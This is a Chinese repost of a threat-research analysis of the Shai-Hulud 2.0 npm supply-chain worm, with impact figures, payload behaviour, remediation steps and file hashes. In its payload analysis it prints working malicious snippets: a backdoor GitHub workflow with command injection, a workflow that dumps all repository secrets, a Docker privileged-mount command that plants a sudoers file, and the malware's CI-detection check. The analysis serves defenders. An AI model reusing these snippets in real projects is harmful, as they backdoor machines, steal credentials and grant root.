文章总结: Shai-Hulud2.0是一次大规模的npm供应链攻击,影响了超过25000个代码库和约500名GitHub用户,包括Zapier、PostHog等热门项目。攻击者通过植入木马的合法npm包,在安装过程中窃取开发者的凭证和敏感数据,并上传到攻击者控制的GitHub仓库。恶意软件利用预安装脚本执行,支持跨平台运行,并针对多云环境进行攻击。安全团队应立即清除npm缓存,将依赖项锁定到干净版本,轮换所有凭证,审核GitHub和CI/CD环境,并加固管道安全。
综合评分: 92
文章分类: 供应链安全,漏洞分析,安全运营
跟着黑产学技术:Shai-Hulud 2.0 供应链攻击剖析
L0ckb1t 10.0
OSINT研习社
2025年11月25日 18:59
陕西
检测并缓解与近期 Shai-Hulud 式攻击活动相关的恶意 npm 包。受影响的仓库超过 25,000 个,涉及约 350 个独立用户。
要点总结
- 与 Shai-Hulud 相关的 npm 供应链攻击活动导致多个热门软件包遭到入侵。Zapier
、ENS Domains、PostHog 和 Postman 等热门项目被暂时植入木马,导致 GitHub 代码库中充斥着被盗的受害者数据。其中一些软件包的感染率很高,在 Wiz 扫描的云环境和代码环境中约有 27% 的软件包受到影响。 - npm 上被入侵的软件包数量正在稳步增长,目前总共有约 700 个。Wiz
Research 和其他供应商正在监控新添加的版本,但幸运的是,许多软件包已被其所有者收回,包括 Zapier 和Postman的软件包,恶意版本已从 npm 中删除。 - 此次攻击的影响范围已经非常巨大——超过 25,000 个恶意代码库,涉及约 500 名 GitHub 用户。Wiz
Research 已发现与此次攻击活动相关的广泛自动化复制。 - 攻击正在加速,每 30 分钟就有约 1000 个新的存储库
出现。新入侵的软件包不断涌现,其中许多包含与此活动直接相关的文件。 - 该恶意软件会主动窃取开发者的机密信息和敏感的项目文件。
被盗的令牌、cookie 和本地工作区数据会被上传到攻击者控制的 GitHub 仓库,从而实现持久性和进一步传播。 - 一种新的预安装阶段恶意软件变种增加了在构建和运行时环境中的暴露风险
。在开发机器和 CI/CD 管道中执行preinstall该变种会极大地扩大其影响范围。 - 对于任何基于 npm 的环境,建议立即展开调查。
鉴于此次攻击的规模、速度以及窃取机密信息的能力,团队应紧急审查依赖项并部署补救措施。
这是什么活动?
此次攻击活动延续了 npm 供应链入侵的趋势,其名称和手法均与 Shai-Hulud 类似,但攻击者可能有所不同。该威胁利用被攻破的维护者账户发布植入木马的合法 npm 包,这些木马会在安装过程中执行窃取凭证和数据外泄的代码。
与之前的版本不同,这一版本引入了:
- 使用安装生命周期脚本执行。
- 新有效载荷文件 –
setup_bun.js和bun_environment.js。
Wiz Threat Research 和 Aikido 已确认,这些被植入木马的 npm 包于 2025 年 11 月 21 日至 23 日期间上传至 npm。一旦安装,该恶意软件就会将开发者和 CI/CD 机密信息泄露到 GitHub 存储库中,并在描述中提及 Shai-Hulud。
此变种仅在预安装阶段执行。该恶意软件会创建以下文件:cloud.json、、和。它还会尝试在 GitHub 工作流中创建一个文件。该恶意contents.json软件似乎支持在基于 Linux、Windows 和 macOS 的运行器上运行,并可使用合适的有效载荷。environment.json``truffleSecrets.json``discussion.yaml
更新于 11 月 24 日 19:00 UTC: Wiz Research 已确认存在跨受害者泄露事件。我们多次观察到,一名受害者的机密信息被泄露到另一名无关受害者拥有的公共存储库中。
该攻击活动的行为与之前的 Shai-Hulud 蠕虫病毒非常相似,但鉴于其有效载荷结构和传播逻辑的差异,可能涉及不同的攻击者。目前尚未确认攻击者身份。Wiz 观察到多个环境在这些软件包从 npm 移除之前就已下载过,这表明这些软件包可能已被主动传播。
GitHub 目前正在删除与此次攻击活动相关的攻击者创建的存储库;但是,作为持续活动的一部分,该恶意软件仍在创建新的存储库。
范围和普遍性
我们对 npm 包在云和代码环境中的分布情况的分析表明,此次活动已经影响到几个广泛使用的开源包,凸显了其在整个软件供应链中的潜在影响范围。
例如, @postman/tunnel-agent 通常可以在 27% 的环境中找到, posthog-node 在 25% 的环境中找到,其次是关键的 AsyncAPI 组件,如 @asyncapi/specs (20%)、 @asyncapi/specs (17%) 和 @asyncapi/openapi-schema-parser (17%),以及 posthog-js (15%)、 get-them-args (14%) shell-exec 和 kill-port (13%)。
初步影响
我们审查了本次攻击活动中创建的约两万个代码库样本。值得注意的是,泄露的数据存在大量重复。这部分是由于恶意代码在类似的持续集成/持续交付 (CI/CD) 环境中被重复执行所致。
作为其广泛影响的一小部分示例,我们已经识别、验证并去重了以下内容:
- 775 个 GitHub 访问令牌被盗用
- 373 个 AWS 凭证
- 300 个 GCP 凭证
- 115 个 Azure 凭据
有效载荷分析
Wiz Threat Research 目前正在分析恶意载荷,并发现攻击者正在添加多个工作流程。
-
第一种工作流程充当了进入受感染机器的后门:
-
该有效载荷将受感染的机器注册为名为“SHA1HULUD”的自托管运行程序。
-
然后,它添加了一个名为
.github/workflows/discussion.yaml“包含注入漏洞且专门在自托管运行器上运行”的工作流。 -
这使得攻击者将来可以通过在 Github 存储库中发起讨论,在受感染的机器上执行任意命令。
await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", { 'owner': _0x349291, 'repo': _0x2b1a39, 'path': ".github/workflows/discussion.yaml", 'message': "Add Discusion", 'content': Buffer.from("\nname: Discussion Create\non:\n discussion:\njobs:\n process:\n env:\n RUNNER_TRACKING_ID: 0\n runs-on: self-hosted\n steps:\n - uses: actions/checkout@v5\n - name: Handle Discussion\n run: echo ${{ github.event.discussion.body }}\n").toString("base64"), 'branch': 'main' });
name: Discussion Createon: discussion:jobs: process: env: RUNNER_TRACKING_ID: 0 runs-on: self-hosted steps: - uses: actions/checkout@v5 - name: Handle Discussion run: echo ${{ github.event.discussion.body }}
-
第二个有效载荷会窃取Github定义的密钥:
-
工作
.github/workflows/formatter_123456789.yml流程已推进。 -
然后,它会列出并收集 GitHub secrets 部分中定义的所有密钥,并将它们作为工件上传。这些信息会以
actionsSecrets.json文件的形式写入数据泄露仓库。 -
有效载荷随后会下载新创建的工件。该文件作为数据泄露过程的一部分,会被下载到受感染的机器上。
-
删除工作流和新创建的分支,以隐藏其数据外泄活动。
name: Code Formatteron: pushjobs: lint: runs-on: ubuntu-latest env: DATA: ${{ toJSON(secrets)}} steps: - uses: actions/checkout@v5 - name: Run Formatter run: | cat <<EOF > format.json $DATA EOF - uses: actions/upload-artifact@v5 with: path: format.json name: formatting
云活动
- 多云目标:该恶意软件通过捆绑官方 SDK 来独立于主机工具运行,从而针对 AWS、Azure 和 Google Cloud Platform (GCP) 发起攻击。
- 凭证收集:它会从本地配置文件(例如,、
~/.aws/credentials)~/.azure/、环境变量和内部云元数据服务(IMDS)中抓取凭证,以窃取临时会话令牌。 - 密钥泄露:使用经过身份验证的会话从 AWS Secrets Manager、Google Secret Manager 和 Azure Key Vault 中导出密钥。
- 持久性:恶意软件试图冒充特权角色(AWS STS)并操纵 IAM 策略以维持访问权限或提升权限。
Docker权限提升
- 容器突破:该恶意软件试图通过执行命令来获取 root 权限
docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner",该命令会将主机的根文件系统挂载到特权容器中,以复制恶意 sudoers 文件,从而有效地授予受感染用户无需密码即可访问 root 权限。
CI环境检查
- 该恶意软件在感染 CI 环境或开发人员机器时,行为略有不同。
- 在持续集成 (CI) 环境中:恶意软件同步执行。软件包安装过程只有在恶意软件完成其操作后才会结束。这确保了运行程序在整个感染过程中保持活动状态。在非 CI 环境中:恶意软件作为后台进程运行。这可以防止软件包安装耗时过长,从而避免引起用户对异常情况的警觉。
- CI 检查是通过检查以下环境变量来完成的:
process.env.BUILDKITE || process.env.PROJECT_ID || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILD_NUMBER || process.env.CIRCLE_SHA1
后门工作流程
该工作流程似乎起到了为受感染机器提供持久化机制discussion.yaml的作用。
目前为止,我们尚未发现该后门已被实际使用的证据。但是,我们已通过测试成功验证了其功能。
通过重新创建受感染的机器和存储库,我们只需在该存储库中打开一个新的讨论,即可成功地在受感染的系统上执行代码。
因此,任何使用此工作流程的公共存储库将来仍可能被用作其关联的受感染机器的后门。
哪些产品和包装会受到影响?
此次攻击导致大量软件包遭到入侵,包括 Zapier 软件包、ENS 域软件包、生态系统软件包等等。目前仍在识别新入侵的软件包。
完整列表请参见附录。
安全团队应该采取哪些措施?
移除并替换受损软件包
- 清除 npm 缓存:
npm cache clean --force
rm -rf node_modules
- 将依赖项锁定到已知的干净版本,或者回滚到 2025 年 11 月 21 日之前的版本。
轮换所有凭证
- 撤销并重新生成 npm 令牌、GitHub PAT、SSH 密钥和云提供商凭证。
- 对开发人员和 CI/CD 帐户强制执行防钓鱼 MFA。
审核 GitHub 和 CI/CD 环境
- 搜索描述中包含“Shai-Hulud”的新创建的存储库。
- 审查是否存在未经授权的工作流程或可疑的、引用hulud的提交。
- 监控您组织下的新 npm 发布。
加固管道
- 在 CI/CD 中限制或禁用生命周期脚本(postinstall、preinstall)。
- 限制构建系统对出站网络的访问,仅允许访问受信任的域。
- 使用有效期短、作用域限定的自动化令牌。
附录
恶意软件哈希值
| 文件名 | SHA1 |
| — | — |
| bun_environment.js | d60ec97eea19fffb4809bc35b91033b52490ca11 |
| bun_environment.js | 3d7570d14d34b0ba137d502f042b27b0f37a59fa |
| setup_bun.js | d1829b4708126dcc7bea7437c04d1f10eacd4a16 |
有关受影响软件包的 CSV 文件,请参阅:
https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/shai-hulud-2-packages.csv
原文参考:
https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:OSINT研习社 L0ckb1t 10.0《跟着黑产学技术:Shai-Hulud 2.0 供应链攻击剖析》